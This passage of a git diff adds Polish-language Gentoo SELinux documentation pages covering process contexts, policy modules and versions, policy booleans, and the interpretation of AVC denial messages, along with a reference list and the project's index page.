+  830 system_u:system_r:getty_t             [agetty]
+  831 system_u:system_r:httpd_t             [apache]
+  832 system_u:system_r:httpd_t             [apache]
+  833 system_u:system_r:httpd_t             [apache]
+23093 system_u:system_r:sshd_t              [sshd]
+23095 user_u:user_r:user_t                  [bash]
+23124 system_u:system_r:sshd_t              [sshd]
+23126 user_u:user_r:user_t                  [bash]
+23198 system_u:system_r:sshd_t              [sshd]
+23204 user_u:user_r:user_t                  [bash]
+23274 system_u:system_r:sshd_t              [sshd]
+23275 pebenito:staff_r:staff_t              [bash]
+23290 pebenito:staff_r:staff_t              ps ax -Z
+</pre>
+
+<p>
+W powyższym przykładzie pokazane są typowe informacje o procesach, uzupełnione o
+ich konteksty. Bliższe przyjrzenie się tym wynikom pozwala stwierdzić, że
+wszystkie procesy jądra systemu oraz wszystkie demony posiadają tożsamość
+<c>system_u</c> i status <c>system_r</c>. Poszczególne typy zależą od
+programów. Kilku użytkowników jest zalogowanych przez ssh ze standardową
+tożsamością <c>user_c</c>. Jest także użytkownik z tożsamością <c>pebenito</c>
+zalogowany ze statusem <c>staff_r</c>, pracujący w domenie <c>staff_t</c>.
+</p>
+
+</body>
+</subsection>
+
+</section>
+
+<section>
+<title>Pliki polityki SELinux</title>
+<subsection>
+<body>
+
+<p>
+Pliki źródłowe polityki SELinux nie są już instalowane w systemie. W katalogu
+<c>/usr/share/selinux/{strict,targeted}</c> znajdują się pakiety polityki i
+nagłówki, służące do budowania lokalnych modułów. Pliki polityki są przetwarzane
+przez program m4, po czym kompilator polityk - <c>checkmodule</c> - sprawdza
+ich poprawność składniową i tworzy moduł. Następnie przy pomocy programu
+<c>semodule_package</c> tworzony jest pakiet zawierający moduł polityki i jego
+konteksty. Tak przygotowany pakiet może zostać załadowany do działającego jądra
+SELinux poprzez umieszczenie go w przestrzeni pamięci modułów.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>*.pp</title>
+<body>
+
+<p>
+Pakiet dla danej polityki. Musi on być umieszczony w przestrzeni pamięci
+modułów, aby możliwe było jego załadowanie do polityki. W pakiecie znajduje się
+przeznaczony do załadowania moduł i opcjonalnie plik opisujący jego kontekst.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>include/</title>
+<body>
+
+<p>
+Nagłówki przeznaczone dla danej polityki.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Wersje polityk</title>
+<subsection>
+<body>
+
+<p>
+Po skompilowaniu polityki, wynikowy plik binarny posiada oznaczenie
+wersji. Pierwsza wersja, jaka została zintegrowana w jądrach serii 2.6,
+posiadała numer 15. Numer polityki jest zwiększany tylko w sytuacji, gdy dodano
+nowe funkcje wymagające zmian w strukturze skompilowanej polityki. Przykładowo,
+w wersji jądra 2.6.5 dodano warunkowe rozszerzenia polityk. Spowodowało to
+konieczność zwiększenia numeru wersji polityki do 16.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Jakiej wersji polityki używa nasze jądro?</title>
+<body>
+
+<p>
+Wersję polityki działającego jądra można uzyskać przy użyciu polecenia
+<c>sestatus</c> lub <c>policyvers</c>. Obecne wersje jąder mogą korzystać z
+wcześniejszych wersji polityk dla zachowania kompatybilności
+wstecz. Przykładowo, jądro używające polityki w wersji 17 może również załadować
+politykę w wersji 16. Niemniej jednak ta kompatybilność wstecz może zostać
+usunięta w przyszłości.
+</p>
+
+<note>
+Infrastruktura zarządzania politykami (libsemanage) automatycznie utworzy i
+zastosuje polityki w odpowiedniej wersji. Nie są wymagane żadne dodatkowe
+czynności.
+</note>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Wersje polityk</title>
+<body>
+
+<p>
+Poniższa tabela przedstawia wersje polityk dla jąder serii 2.6.
+</p>
+
+<table>
+<tr>
+  <th>Wersja</th>
+  <th>Opis</th>
+  <th>Wersja jądra</th>
+</tr>
+<tr>
+  <ti>12</ti>
+  <ti>"Old API" SELinux (zdeprecjonowany).</ti>
+</tr>
+<tr>
+  <ti>15</ti>
+  <ti>"New API" SELinux zintegrowany w 2.6.</ti>
+  <ti>2.6.0 - 2.6.4</ti>
+</tr>
+<tr>
+  <ti>16</ti>
+  <ti>Dodane warunkowe rozszerzenia polityk.</ti>
+  <ti>2.6.5</ti>
+</tr>
+<tr>
+  <ti>17</ti>
+  <ti>Dodana obsługa IPv6.</ti>
+  <ti>2.6.6 - 2.6.7</ti>
+</tr>
+<tr>
+  <ti>18</ti>
+  <ti>Dodana precyzyjna obsługa gniazd netlink.</ti>
+  <ti>2.6.8 - 2.6.11</ti>
+</tr>
+<tr>
+  <ti>19</ti>
+  <ti>Polepszone bezpieczeństwo wielopoziomowe</ti>
+  <ti>2.6.12 - 2.6.13</ti>
+</tr>
+<tr>
+  <ti>20</ti>
+  <ti>Optymalizacja wielkości wektorowej tablicy dostępu</ti>
+  <ti>2.6.14 - 2.6.18</ti>
+</tr>
+<tr>
+  <ti>21</ti>
+  <ti>Klasy obiektów w zakresach przejściowych</ti>
+  <ti>2.6.19 - 2.6.24</ti>
+</tr>
+<tr>
+  <ti>22</ti>
+  <ti>Właściwości polityk</ti>
+  <ti>2.6.25 - aktualny</ti>
+</tr>
+</table>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Warunkowe rozszerzenia polityk.</title>
+<subsection>
+<body>
+
+<p>
+Koncepcja warunkowych rozszerzeń polityk pozwala na włączanie i wyłączanie zasad
+polityki w czasie jej działania, bez konieczności przeładowywania zmodyfikowanej
+polityki. Reguły polityki mogą być warunkowo uruchamiane, przy użyciu zmiennych
+i wyrażeń.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Uzyskiwanie infromacji o wartościach zmiennych</title>
+<body>
+
+<p>
+Wartości zmiennych obecnie wykorzystywanej polityki można uzyskać na dwa
+sposoby. Pierwszym jest użycie polecenia <c>sestatus</c>.
+</p>
+
+<pre caption="Użycie sestatus">
+# <i>sestatus</i>
+SELinux status:      enabled
+SELinuxfs mount:     /selinux
+Current mode:        enforcing
+Policy version:      17
+
+Policy booleans:
+user_ping            inactive
+</pre>
+
+<p>
+Drugim sposobem jest wykorzystanie narzędzia <c>getsebool</c>, które wyświetla
+status zmiennych polityki oraz informację o tym, czy zmiana statusu oczekuje na
+wykonanie.
+</p>
+
+<pre caption="Użycie getsebool">
+# <i>getsebool -a</i>
+user_ping --> active: 0 pending: 0
+</pre>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Zmienianie wartości zmiennych</title>
+<body>
+
+<p>
+Status zmiennych może być przełączany przy użyciu polecenia
+<c>togglesebool</c>. W roli argumentów można podać kilka zmiennych. Nowa wartość
+zmiennych zostanie wyświetlona.
+</p>
+
+<pre caption="Przełączanie wartości zmiennej">
+# <i>togglesebool user_ping</i>
+user_ping: active
+</pre>
+
+<p>
+Wartość zmiennej można również określić używając polecenia <c>setsebool</c>.
+</p>
+
+<pre caption="Ustawianie wartości zmiennej">
+# <i>setsebool user_ping 0</i>
+</pre>
+
+<p>
+Aby przypisać nową wartość i uczynić ją domyślną dla danej zmiennej, należy użyć
+parametru <c>-P</c>.
+</p>
+
+<pre caption="Zmienianie domyślnej wartości zmiennej">
+# setsebool -P user_ping 1
+</pre>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Komunikaty jądra związane z SELinux</title>
+<subsection>
+<body>
+
+<p>
+W czasie działania systemu program lub użytkownik może spróbować zrobić coś, co
+pogwałciłoby prawa dostępu. Jeśli system egzekwuje założenia polityki, nastąpi
+odmowa dostępu, a w logach jądra pojawi się informacja na ten temat. Jeśli
+system nie egzekwuje założeń polityki (działa w trybie pobłażliwym), to dopuści
+wykonanie operacji, jednak mimo wszystko w logach jądra pojawi sie komunikat.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Komunikaty AVC</title>
+<body>
+
+<p>
+Większość komunikatów jądra SELinux pochodzi z AVC (Access Vector
+Cache). Zrozumienie komunikatu odmowy dostępu jest ważne, gdyż może on świadczyć
+o ataku na system lub o tym, że jakiś program wymaga nieoczekiwanych praw
+dostępu. Przykładowy komunikat może wyglądać następująco:
+</p>
+
+<pre caption="Przykładowy komunikat odmowy dostępu z AVC">
+avc:  denied  { read write } for  pid=3392 exe=/bin/mount dev=03:03 ino=65554
+scontext=pebenito:sysadm_r:mount_t tcontext=system_u:object_r:tmp_t tclass=file
+</pre>
+
+<p>
+Większość komunikatów AVC związana jest z odmową dostępu, jednak czasami są to
+też kontrolne informacje, mówiące, że dostęp został przyznany:
+</p>
+
+<pre caption="Inny przykład komunikatu z AVC">
+avc:  granted  { load_policy } for  pid=3385 exe=/usr/sbin/load_policy
+scontext=pebenito:sysadm_r:load_policy_t tcontext=system_u:object_r:security_t tclass=security
+</pre>
+
+<p>
+Powyższy komunikat mówi, że system zezwolił na załadowanie polityki
+bezpieczeństwa. Jest to czynność krytyczna dla bezpieczeństwa, której wykonanie
+jest zawsze dozwolone. Inną czynnością, którą system zawsze dopuszcza, jest
+przełączanie pomiędzy trybem egzekutywnym i pobłażliwym.
+</p>
+
+<p>
+SELinux może ograniczyć ilość logowanych komunikatów odmowy dostępu, jeśli wiele
+prób pogwałcenia polityki bezpieczeństwa zostanie wykonanych w krótkim
+czasie. Nie zawsze oznacza to, że ma miejsce atak na system. Program może
+próbować wykonać w krótkim czasie wiele niedozwolonych operacji, na przykład
+wywołując funkcję stat() na węzłach urządzeń w katalogu <path>/dev</path>. Aby
+nie dopuścić do zalania logów systemowych komunikatami bezpieczeństwa, SELinux
+zamiast wyświetlać każdy komunikat z osobna, wyświetla pojedynczą informację o
+ilości komunikatów jakie zostały wygenerowane przez AVC:
+</p>
+
+<pre caption="Kolejny przykład komunikatu z AVC">
+AVC: 12 messages suppressed.
+</pre>
+
+<p>
+Należy zmodyfikować politykę tak, aby nie kontrolowała czynności powodujących
+błędy, jeśli są one normalnym działaniem programu.
+</p>
+
+</body>
+</subsection>
+<subsection>
+<title>Inne komunikaty</title>
+<body>
+
+<pre caption="inode_doinit_with_dentry">
+inode_doinit_with_dentry:  context_to_sid(system_u:object_r:bar_t) returned 22 for dev=hda3 ino=517610
+</pre>
+
+<p>
+Komunikat oznacza, że plik o i-węźle 517610, znajdujący się na partycji
+/dev/hda3, posiada niewłaściwy kontekst system_u:object_r:bar_t. Obiekty o
+niewłaściwym kontekście traktowane są tak, jak gdyby miały kontekst
+system_u:object_r:unlabeled_t.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Analizowanie komunikatów odmowy dostępu</title>
+<subsection>
+<body>
+
+<p>
+Komunikaty odmowy dostępu zawierają zmienną ilość informacji, w zależności od
+tego jakiego typu dostępu dotyczą.
+</p>
+
+<pre caption="Przykładowe komunikaty">
+avc:  denied  { lock } for  pid=28341 exe=/sbin/agetty path=/var/log/wtmp dev=03:03 ino=475406
+scontext=system_u:system_r:getty_t tcontext=system_u:object_r:var_log_t tclass=file
+
+avc:  denied  { create } for  pid=20909 exe=/bin/ls scontext=pebenito:sysadm_r:mkinitrd_t
+tcontext=pebenito:sysadm_r:mkinitrd_t tclass=unix_stream_socket
+
+avc:  denied  { setuid } for  pid=3170 exe=/usr/bin/ntpd capability=7
+scontext=system_u:system_r:ntpd_t tcontext=system_u:system_r:ntpd_t tclass=capability
+</pre>
+
+<p>
+Odmowy dostępu najczęściej dotyczą dostępu do plików. Przeanalizujemy teraz krok
+po kroku pierwszy z powyższych komunikatów:
+</p>
+
+<table>
+<tr>
+  <th>Fraza</th>
+  <th>Opis</th>
+</tr>
+<tr>
+  <ti>avc:  denied</ti>
+  <ti>SELinux odmówił dostępu.</ti>
+</tr>
+<tr>
+  <ti>{ lock }</ti>
+  <ti>Dostęp, jakiego odmówiono, to blokada.</ti>
+</tr>
+<tr>
+  <ti>pid=28341</ti>
+  <ti>Numer ID procesu, który chciał wykonał operację to 28341.</ti>
+</tr>
+<tr>
+  <ti>exec=/sbin/agetty</ti>
+  <ti>
+    Pełna ścieżka do wykonywalnego pliku procesu to <path>/sbin/agetty</path>.
+  </ti>
+</tr>
+<tr>
+  <ti>path=/var/log/wtmp</ti>
+  <ti>
+    Ścieżka do obiektu docelowego to <path>/var/log/wtmp</path>. Należy
+    pamiętać, że pełna ścieżka nie zawsze jest dostępna.
+  </ti>
+</tr>
+<tr>
+  <ti>dev=03:03</ti>
+  <ti>
+    Obiekt docelowy rezyduje na urządzeniu 03:03 (liczba główna:liczba
+    poboczna). W jądrach serii 2.6 oznaczenie może zostać rozwinięte do postaci
+    nazwy, w tym przypadku hda3.
+  </ti>
+</tr>
+<tr>
+  <ti>ino=475406</ti>
+  <ti>Numer i-węzła obiektu docelowego to 475406.</ti>
+</tr>
+<tr>
+  <ti>scontext=system_u:system_r:getty_t</ti>
+  <ti>Kontekst programu to system_u:system_r:getty_t.</ti>
+</tr>
+<tr>
+  <ti>tcontext=system_u:object_r:var_log_t</ti>
+  <ti>Kontekst obiektu docelowego to system_u:object_r:var_log_t.</ti>
+</tr>
+<tr>
+  <ti>tclass=file</ti>
+  <ti>Obiekt docelowy jest normalnym plikiem.</ti>
+</tr>
+</table>
+
+
+<p>
+Nie wszystkie komunikaty AVC będą posiadały wszystkie powyższe pola (pokazują to
+pozostałe przykłady). Obecność poszczególnych pól zależy od klasy obiektu
+docelowego. Niemniej jednak najważniejsze pola (typ odmówionego dostępu,
+konteksty obiektu źródłowego i docelowego oraz klasa obiektu docelowego) zawsze
+będą występowały w komunikacie AVC.
+</p>
+
+</body>
+</subsection>
+
+<subsection>
+<title>Rozumienie odmowy dostępu</title>
+<body>
+
+<p>
+Komunikaty odmowy dostępu mogą być niezrozumiałe, ponieważ mogą wystąpić z wielu
+powodów. Kluczem do zrozumienia co dokładnie się dzieje jest poznanie zachowania
+programu i prawidłowa interpretacja komunikatu odmowy dostępu. Obiektem
+dolecowym odmowy dostępu nie zawsze są pliki. Równie dobrze może to być gniazdo
+sieciowe, komunikacja międzyprocesorowa lub cokolwiek innego.
+</p>
+
+<p>
+W powyższym przykładzie programowi <c>agetty</c> system odmówił dostępu do
+ustanowienia blokady pliku. Typ pliku to <c>var_log_t</c>, co implikuje, że
+docelowy plik znajduje się w katalogu <path>/var/log</path>. Z informacji
+zawartych w komunikacie AVC wynika, że jest to plik
+<path>/var/log/wtmp</path>. Gdyby informacja o ścieżce do obiektu docelowego nie
+była dostępna, potwierdzenie, że plik znajduje się w katalogu
+<path>/var/log</path> byłoby możliwe przy użyciu numeru i-węzła. Plik
+<path>wtmp</path> utrzymuje informacje o aktualnie zalogowanych użytkownikach. Z
+kolei program <c>agetty</c> odpowiada za logowanie na interfejsach tty. Można
+wywnioskować, że dostęp do pliku <path>wtmp</path> przez program <c>agetty</c>
+jest pożądany. Dlaczego więc system odmówił wykonania tej operacji? Okazuje się,
+że plik <path>wtmp</path> ma nieprawidłowy kontekst. Prawidłowy kontekst
+powinien mieć formę <c>system_u:object_r:wtmp_t</c>, a nie
+<c>system_u:object_r:var_log_t</c>.
+</p>
+
+<p>
+Gdyby ten komunikat odmowy dostępu nie został prawidłowo przeanalizowany,
+administrator mógłby błędnie pozwolić wszystkim obiektom posiadającym typ
+<c>getty_t</c> na zapis i odczyt plików o typie <c>var_log_t</c>. Byłoby to
+nieprawidłowe, ponieważ program <c>agetty</c> potrzebuje dostępu wyłącznie do
+pliku <path>/var/log/wtmp</path>. Przykład ten demonstruje, jak duże znaczenie
+ma utrzymywanie prawidłowych kontekstów plików.
+</p>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Inne źródła informacji</title>
+<subsection>
+<body>
+
+<p>
+<uri link="http://www.nsa.gov/selinux">Narodowa Agencja Ochrony USA (U.S. NSA) -
+polityka SELinux</uri>
+</p>
+
+</body>
+</subsection>
+</section>
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-references.xml b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-references.xml
new file mode 100644
index 00000000..efdbd2a3
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-references.xml
@@ -0,0 +1,155 @@
+<?xml version='1.0' encoding="UTF-8"?>
+<!DOCTYPE sections SYSTEM "/dtd/book.dtd">
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/hb-selinux-references.xml,v 1.1 2007/06/02 11:56:33 shadoww Exp $ -->
+
+<sections>
+<version>1.2</version>
+<date>2006-05-07</date>
+
+<section>
+<title>Fundamenty</title>
+<subsection>
+<body>
+
+<ul>
+<li>
+  Dokument <uri link="http://www.nsa.gov/selinux/papers/inevit-abs.cfm">The
+  Inevitability of Failure: The Flawed Assumption of Security in Modern
+  Computing Environments</uri> wyjaśnia potrzebę istnienia obowiązkowej kontroli
+  dostępu.
+</li>
+<li>
+  Artykuł <uri link="http://www.nsa.gov/selinux/papers/flask-abs.cfm">The Flask
+  Security Architecture: System Support for Diverse Security Policies</uri>
+  opisuje wykorzystywaną przez SELinux architekturę Flask.
+</li>
+<li>
+  Dokument <uri
+  link="http://www.nsa.gov/selinux/papers/module-abs.cfm">Implementing SELinux
+  as a Linux Security Module</uri> omawia szczegóły związane z kontrolą dostępu
+  przeprowadzaną w jądrze systemu.
+</li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Polityki</title>
+<subsection>
+<body>
+
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/selinux/papers/policy2-abs.cfm">Konfigurowanie
+  polityki SELinux</uri>
+</li>
+<li>
+  <uri link="http://oss.tresys.com/projects/refpolicy">SELinux Reference
+  Policy</uri> - strona projektu tworzącego rozszerzoną politę bezpieczeństwa w
+  oparciu o oryginalną politykę dostarczaną przez NSA
+</li>
+<li>
+  <uri link="http://www.tresys.com/selinux/selinux-course-outline.shtml">Kurs
+  tworzenia polityki </uri> (slajdy dostępne na dole strony)
+</li>
+<li>
+  <uri link="http://www.tresys.com/selinux/obj_perms_help.shtml">Object Classes
+  and Permissions</uri> - przegląd klas obiektów i uprawnień
+</li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Książki</title>
+<subsection>
+<body>
+
+<ul>
+<li>
+  <c>SELinux by Example: Using Security Enhanced Linux</c>, Frank Mayer,
+  Karl MacMillan i David Caplan, Prentice Hall, 2006; ISBN 0131963694</li>
+<li>
+  <c>SELinux: NSA's Open Source Security Enhanced Linux</c>, Bill McCarty,
+  O'Reilly Media, 2004; ISBN 0596007167</li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Notatki ze spotkań</title>
+<subsection>
+<body>
+
+<ul>
+<li>
+  <uri link="http://www.selinux-symposium.org/2006/summit.php">Szczyt
+  deweloperów SELinux, 3 marca 2006</uri>
+</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/meeting.php">Nieformalne spotkanie
+  deweloperów, 6 maja 2004</uri>
+</li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+<section>
+<title>Prezentacje</title>
+<subsection>
+<title>Sympozjum SELinux 2006</title>
+<body>
+
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/selinux/papers/selsymp2006-abs.cfm">SELinux Year in Review</uri>,
+  Stephen Smalley, National Security Agency</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2006/slides/03-refpolicy-slides.pdf">Reference Policy for Security Enhanced Linux</uri>,
+  Karl MacMillan, Tresys Technology (<uri link="http://www.selinux-symposium.org/2006/papers/05-refpol.pdf">Paper</uri>)</li>
+</ul>
+
+</body>
+</subsection>
+<subsection>
+<title>Sympozjum SELinux 2005</title>
+<body>
+
+<ul>
+<li>
+  <uri link="http://www.nsa.gov/selinux/papers/selsymp2005-abs.cfm">SELinux Overview</uri>,
+  Stephen Smalley, National Security Agency</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session3/3-2-macmillan.pdf">Core Policy Management Infrastructure for SELinux</uri>,
+  Karl MacMillan, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session4/4-1-walsh.pdf">Targeted vs. Strict Policy History and Strategy</uri>,
+  Dan Walsh, Red Hat</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session4/4-4-mayer.pdf">Tresys SETools: Tools and Libraries for Policy Analysis and Management</uri>,
+  Frank Mayer, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session5/5-3-macmillan.pdf">Information Flow Analysis for Type Enforcement Policies</uri>,
+  Karl MacMillan, Tresys Technology</li>
+<li>
+  <uri link="http://www.selinux-symposium.org/2005/presentations/session6/6-2-mayer.pdf">SELinux Policy Analysis Concepts and Techniques</uri>,
+  David Caplan, Frank Mayer, Tresys Technology</li>
+</ul>
+
+</body>
+</subsection>
+</section>
+
+</sections>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/index.xml b/xml/htdocs/proj/pl/hardened/selinux/index.xml
new file mode 100644
index 00000000..f2eec018
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/index.xml
@@ -0,0 +1,184 @@
+<?xml version="1.0" encoding="UTF-8"?>
+<?xml-stylesheet href="/xsl/project.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE project SYSTEM "/dtd/project.dtd">
+<!-- $Header: -->
+<project>
+
+<name>SELinux</name>
+<longname>SELinux</longname>
+
+<description>
+SELinux jest systemem obowiązkowej kontroli dostępu (ang. mandatory access
+control). SELinux może wymusić politykę bezpieczeństwa wobec wszystkich
+procesów oraz obiektów w systemie.
+</description>
+
+<longdescription>
+<p>
+Ten projekt odpowiedzialny jest za obsługę SELinux w Gentoo. Obejmuje to
+dostarczanie jąder z obsługą SELinux, narzędzi dla użytkowników, pisanie
+specyficznych dla Gentoo profili, jak również integrowanie tych profili w
+Portage.
+</p>
+</longdescription>
+
+<goals>
+<p>
+Założeniem projektu jest sprawienie, aby SELinux był dostępny dla większej
+liczby użytkowników, jak również poprawianie jego integracji w Gentoo.
+</p>
+
+<p>
+Polityki powinny być dostępne dla wszystkich popularnych demonów, a
+oprogramowanie, zainstalowane przy pomocy Portage powinno posiadać odpowiednie
+konteksty (czytając podręcznik dowiemy się czym dokładnie są polityki i
+konteksty oraz jakie jest ich znaczenie w systemie). Obecnie, prace są
+ukierunkowane na obsługę serwerów, jednak wkrótce również stacje robocze będą
+obsługiwane.
+</p>
+</goals>
+
+<extrachapter position="goals">
+<title>Czym jest SELinux?</title>
+<section>
+<body>
+
+<p>
+<uri link="http://www.nsa.gov/selinux">Security-Enhanced Linux</uri> (SELinux)
+jest systemem obowiązkowej kontroli dostępu, który używa silnej kontroli typów i
+poziomu dostępu użytkowników w zależności od posiadanego przez nich
+statusu. SELinux jest zaimplementowany jako <uri
+link="http://lsm.immunix.org/">Linux Security Module</uri> (LSM).  Dodatkowo,
+system korzystający z SELinux zostaje wzbogacony o bibliotekę SELinux
+(<c>libselinux</c>), a także o użyteczne oprogramowanie dla użytkowników,
+służące do kompilowania polityk (<c>checkpolicy</c>) oraz ich uruchamiania
+(<c>policycoreutils</c>).
+</p>
+
+<p>
+Powszechnie uważa się, że SELinux stanowi kompletne zabezpieczenie systemu,
+jednak w rzeczywistości tak nie jest. SELinux dostarcza jedynie część
+zabezpieczeń. Doskonale współpracuje on z innymi projektami Hardened, takimi
+jak PaX, co pozwala na otrzymanie kompletnego systemu zabezpieczeń.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<dev role="lider" description="Podstawowa polityka, x86, PPC, AMD64">
+pebenito
+</dev>
+
+<extraproject name="Podstawowa Polityka SELinux" lead="pebenito">
+Polityka SELinux przeznaczona dla systemu bazowego, włączając w to
+użytkowników, administratorów oraz demony w profilu systemowym.
+</extraproject>
+<extraproject name="Polityka demonów">
+Polityka SELinux dla popularnych demonów.
+</extraproject>
+<extraproject name="x86" lead="pebenito">
+Obsługa dla architektury x86.
+</extraproject>
+<extraproject name="PPC" lead="pebenito">
+Obsługa dla architektury PowerPC.
+</extraproject>
+<extraproject name="SPARC">
+Obsługa dla architektury SPARC64.
+</extraproject>
+<extraproject name="AMD64" lead="pebenito">
+Obsługa dla architektury AMD64 (x86-64).
+</extraproject>
+
+<plannedproject name="Obsługa architektur innych niż x86">
+Profile, przewodniki instalacji, oraz obsługa architektur innych niż x86.
+</plannedproject>
+<plannedproject name="Desktop">
+Obsługa SELinux na komputerach typu desktop. Zawiera również poprawki do
+bezpieczeństwa XFree i pochodnych.
+</plannedproject>
+
+<resource
+link="http://www.gentoo.org/proj/pl/hardened/selinux/selinux-handbook.xml">Podręcznik
+Gentoo SELinux</resource>
+
+<extrachapter position="resources">
+<title>Jak korzystać z SELinux?</title>
+<section>
+<body>
+
+<p>
+SELinux może zostać zainstalowany w każdym komputerze, na podstawie powyższego
+opisu.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+<extrachapter position="bottom">
+<title>Uczestnictwo w projekcie</title>
+<section>
+<body>
+
+<p>
+Aby uczestniczyć w projekcie SELinux, najpierw należy dołączyć do listy
+mailingowej <c>gentoo-hardened@gentoo.org</c>. Potem należy zapytać, czy są
+plany w rozwoju czegoś, czym jesteśmy zainteresowani, bądź zaproponować nowy
+podprojekt lub też dołączyć do jednego z już istniejących. Można również podjąć
+dyskusję z deweloperami oraz użytkownikami na kanale IRC <c>#gentoo-hardened</c>
+na serwerze <c>irc.freenode.net</c>. Można tam uzyskać dodatkowe informacje lub
+po prostu pogawędzić na temat projektu i podprojektów. Jeśli nie mamy możliwości
+aktywnego uczestnictwa w projekcie poprzez pracę na jego rzecz, zawsze możemy
+pomagać testując polityki SELinux. Każdy rodzaj pomocy będzie mile widziany.
+</p>
+
+</body>
+</section>
+<section>
+<title>Zatwierdzanie polityk</title>
+<body>
+
+<p>
+Krytyczną częścią systemu opartego o SELinux jest silna polityka
+zabezpieczeń. Nasz zespół robi wszystko, aby zapewnić obsługę jak największej
+ilości demonów. Nie możemy jednak tworzyć polityk dla demonów, z którymi nie
+mieliśmy do czynienia. Jesteśmy wdzięczni, gdy otrzymujemy od użytkowników
+polityki, które możemy wykorzystać. Jest jednak kilka wymagań:
+</p>
+
+<ul>
+<li>
+  Polityki muszą posiadać komentarze (w polityce i/lub w raporcie), aby
+  można było zrozumieć zmiany względem przykładowej polityki NSA.
+</li>
+<li>
+  Polityka powinna dotyczyć domyślnych instalacji. Prosimy nie przesyłać
+  polityk dla niestandardowych i dziwnych konfiguracji demonów.
+</li>
+<li>
+  Musimy wiedzieć czy dana polityka jest zależna od polityki innej niż
+  główna (dla przykładu, rpcd jest zależne od portmap).
+</li>
+<li>
+  Można również wysłać ebuild dla polityki, co pomorze deweloperom w szybkim
+  włączeniu danej polityki do Portage, jeśli zostanie ona zaakceptowana. Można
+  przyjrzeć się bieżącym politykom demonów w Portage, aby uzyskać przykłady
+  użycia eclassy selinux-policy.
+</li>
+</ul>
+
+<p>
+Polityka powinna być wysłana za pomocą <uri
+link="http://bugs.gentoo.org/">Bugzilli</uri>. Prosimy o dołączenie do raportu
+osobno plików <path>.te</path> oraz <path>.fc</path>. Nie należy dodawć ich w
+postaci archiwum tar. Raport powinien być przypisany do
+<c>selinux@gentoo.org</c>.
+</p>
+
+</body>
+</section>
+</extrachapter>
+
+</project>
diff --git a/xml/htdocs/proj/pl/hardened/selinux/selinux-handbook.xml b/xml/htdocs/proj/pl/hardened/selinux/selinux-handbook.xml
new file mode 100644
index 00000000..aa3c629f
--- /dev/null
+++ b/xml/htdocs/proj/pl/hardened/selinux/selinux-handbook.xml
@@ -0,0 +1,159 @@
+<?xml version='1.0' encoding='UTF-8'?>
+<!DOCTYPE book SYSTEM "/dtd/book.dtd">
+
+<!-- $Header: /var/cvsroot/gentoo/xml/htdocs/proj/pl/hardened/selinux/selinux-handbook.xml,v 1.5 2007/06/02 11:52:36 shadoww Exp $ -->
+
+<book link="/proj/pl/hardened/selinux/selinux-handbook.xml">
+<title>Gentoo SELinux Handbook</title>
+
+<author title="Autor">
+  <mail link="pebenito@gentoo.org">Chris PeBenito</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="muchar@gentoo.org">Robert Muchacki</mail>
+</author>
+<author title="Tłumaczenie">
+  <mail link="stawrul@gmail.pl">Waldemar Korłub</mail>
+</author>
+
+<abstract>
+Podręcznik Gentoo x86 z SELinux.
+</abstract>
+
+<!-- The content of this document is licensed under the CC-BY-SA license -->
+<!-- See http://creativecommons.org/licenses/by-sa/1.0 -->
+<license/>
+
+<version>2.00</version>
+<date>2006-10-15</date>
+
+<part>
+<title>Instalowanie Gentoo SELinux</title>
+<abstract>
+W tej części można dowiedzieć się, jak zainstalować Gentoo SELinux.
+</abstract>
+
+<chapter>
+<title>O instalacji Gentoo SELinux</title>
+<abstract>
+Opis instalacji Gentoo SELinux.
+</abstract>
+  <include href="hb-install.xml"/>
+</chapter>
+</part>
+
+<part>
+<title>Konwersja do Gentoo SELinux</title>
+<abstract>
+Alternatywnie, SELinux może zostać zainstalowany na zbudowanym już
+systemie. Ten rozdział dokładnie opisuje co należy zrobić aby przekonwertować
+system.
+</abstract>
+<chapter>
+<title>Wstępne przygotowania</title>
+<abstract>
+Należy przygotować się odpowiednio przed instalacją pakietów SELinux.
+</abstract>
+  <include href="hb-selinux-conv-profile.xml"/>
+</chapter>
+<chapter>
+<title>Uruchomienie jądra SELinuxa</title>
+<abstract>
+Instalacja i uruchomienie jądra SELinux.
+</abstract>
+  <include href="hb-selinux-conv-reboot1.xml"/>
+</chapter>
+<chapter>
+<title>Instalacja oprogramowania dla SELinux</title>
+<abstract>
